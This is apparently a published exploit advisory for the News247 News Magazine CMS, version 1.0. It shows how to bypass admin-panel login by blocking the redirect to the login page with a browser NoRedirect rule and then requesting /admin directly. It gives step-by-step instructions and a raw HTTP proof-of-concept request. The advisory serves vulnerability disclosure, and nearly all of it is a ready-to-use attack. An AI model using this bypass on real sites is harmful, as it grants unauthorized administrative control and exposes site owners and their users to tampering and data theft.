--------------------------------------------------
# Title: News247 News Magazine (CMS) - Admin Panel Authentication Bypass (NoRedirect)
# Author: Akil GUNDOGAN (0xr3act0r)
# Date: 27-10-2021
# Vendor Homepage: https://sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14952/news247-news-magazine-php-script.html
# Version: 1.0
# Tested on: Windows 10 x64
---------------------------------------------------
Vulnerability Description: An attacker can gain access to the CMS admin panel without authentication.
Step 1: Create a rule in any NoRedirect plugin (recommended: HackBar): ^http://website/login or ^http://localhost/news247/Script/login
Step 2: Go to this URL: http://website/admin
--------------------------------------------------
PoC:
GET /news247/Script/admin/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=9r1upqib97vn92v3c5d82d5g7e
Connection: close
Upgrade-Insecure-Requests: 1
--------------------------------------------------